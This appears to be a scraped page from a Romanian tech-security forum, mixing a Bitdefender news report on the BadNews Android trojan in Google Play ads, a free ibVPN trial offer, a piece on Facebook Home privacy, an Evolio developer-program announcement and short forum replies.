Virusul agresiv in Google Play numit BadNews sta ascuns in reclame insistente Specialistii romani in securitate spun ca BadNews este o incercare reusita de a introduce virusi in reclamele care apar in aplicatii Virusul BadNews sta ascuns in spatele unor reclame agresive care apar la unele aplicatii din Google Play. Acestea gazduiau virusul inca din iunie 2012, spun specialistii romani in securitate, care au colectat date prin intermediul Bitdefender Mobile Security. Dupa instalarea in telefon, versiunile mai recente ale virusului BadNews trimiteau sms-uri false, solicitau utilizatorilor sa instaleze alte aplicatii virusate, sau extrageau date sensibile precum ID-ul aparatului si numarul de telefon. Versiunea initiala a ceea ce a primit denumirea de Android.Trojan.InfoStealer.AK nu trimitea actualizari false precum o versiune descoperita mai recent, dar ar putea fi o prima incercare de a testa un sistem de livrare de virusi capabil sa treaca de procesele de scanare din Google Play. ’’BadNews este un exemplu care arata ca reclamele agresive introduse in aplicatii pot descarca ulterior virusi, astfel ca pe langa informatiile confidentiale pe care le colecteaza despre utilizator, acestea pot aduce si pierderi financiare serioase. Dezvoltatorii de aplicatii ar trebui sa fie mult mai atenti la comportamentul reclamelor pe care le accepta in aplicatiile lor. Desi acestea sunt la limita legitimitatii pentru ca aduna cantitati mari de date despre utilizatori cu scopuri neclare, incarcarea lor cu virusi are efecte de-a dreptul dureroase. De asemenea procesul de scanare a aplicatiilor din Google Play ar trebui sa fie mult mai complex’’, declara Catalin Cosoi, Chief Security Strategist, Bitdefender. Desi virusul a fost raportat in repetate randuri in China, acesta a aparut si in tari precum Rusia, Germania si Myanmar. Bitdefender a identificat trei noi aplicatii - ru.yoya.anekdot, com.hellow.world si zh.studio – care se adauga altor 32 cunoscute ca purtatoare ale virusului. In total cele 35 de aplicatii au fost descarcate de milioane de ori din Google Play. Bitdefender recomanda utilizatorilor sa instaleze o solutie de securitate pentru mobile care detecteaza atat virusii, cat si aplicatiile ce contin reclame agresive si care pot prezenta un risc de securitate.

Felicitari pt website

Invisible Browsing VPN is providing their readers several chances to receive Premium VPN accounts for FREE. Here are the different FREE ibVPN offers that we provide: Important! Free trial accounts with access to all servers included in Total VPN package can be created by anyone, anytime. Your trial account will be valid 6 hours from the moment you create your account. You will have unlimited switches and unlimited bandwidth. Link : https://www.ibvpn.com/billing/cart.php?a=view

On 4th of April Facebook CEO Mark Zuckerberg unveiled Facebook Home for Android during a press conference in California. Facebook Home is a suite of apps that delivers an entire Facebook experience to your phone. This will act like a “skin” that operates on top of the existing Android OS on your smartphone. The catch with “Facebook Home” is that the more you share, the more Facebook learns about you and gives you more content to share. Privacy and security researcher Ashkan Soltani explained that Facebook Home bridges the gap between passive data collection and active data-such as when you “Like” something on Facebook. The main purpose of this app is to expand Facebook on Android and to become a permanent layer between you and your apps. And since users will use the new screen as the permanent layer between you and your apps all internet traffic will pass through this interface. Of course the data will be collected by Facebook and has been this way since you created your Facebook account. Sursa : Facebook home as a new OS wannabe? |

Evolio lanseaza initiativa dEVOlution, un program de dezvoltare aplicatii pentru tablete adresat softistilor romani Evolio a anuntat in cadrul Conferintei „Mobile Advertising Congress” sustinerea dezvoltatorilor de aplicatii mobile printr-un program de parteneriat ce are ca scop promovarea si valorizarea aplicatiilor romanesti pentru tablete si smartphone-uri. Numit „dEVOlution”, acest program permite firmelor specializate de software, dar si dezvoltatorilor independenti sa obtina o serie de beneficii cum ar fi: subventii de tip „succes fee” intre 500 si 1500 de euro, revenue sharing pentru aplicatiile preinstalate pe tabletele Evolio, furnizarea de notebook-uri si tablete la preturi subventionate si promovarea ca partener Evolio in comunicate de presa, social media, on-line etc. Dezvoltatorii trebuie sa inscrie aplicatii originale, dezvoltate sau in stadiu de dezvoltare ce ar imbunatati experienta utilizatorilor de tablete. Aplicatiile trebuie sa fie adaptate sistemului de operare Android si sa puna accentul pe realizarea unor interfete adecvate si pe satisfacerea cerintelor de informare sau entertainment ale utilizatorilor de tablete. „Prin initiativa dEVOlution, Evolio isi propune sa impulsioneze industria romaneasca de software pentru Android, oferind dezvoltatorilor posibilitatea de a accesa direct o piata de zeci de mii de utilizatori prin intermediul tabletelor si ecosistemului Evolio. In plus ne vom implica prin sustinerea financiara si promovare pentru acele start-up-uri care dovedesc potential” a declarat Liviu Nistoran, CEO Evolio. Conditiile de inscriere in program sunt: dezvoltatorul sa fie persoana fizica sau juridica romana si sa aiba cel putin o aplicatie publicata in Google Play sau Appstore, aplicatiile sa se bazeze pe concepte originale, sa livreze continut/entertainment de calitate, interfata grafica sa fie intuitiva si cu un design atractiv. Un atu vor avea acele aplicatii care imbina conceptul de travel & fun, Evolio avand mai multe modele de tablete cu receptor GPS integrat. Mai multe detalii despre program puteti afla de pe blog-ul Evolio. Sursa : http://www.evolio.ro/blog/2013/03/28/evolio-lanseaza-initiativa-%E2%80%9Edevolution%E2%80%9D Evolio lanseaza initiativa „dEVOlution”

Tnx R3Flux

Tnx Usr6 ... si toate cele bune!

Felicitari pentru vulnerabilitatea gasita

Neatentie sporita

Cum sa dispara. Ei au locul lor, coltul lor de magie si de secrete ...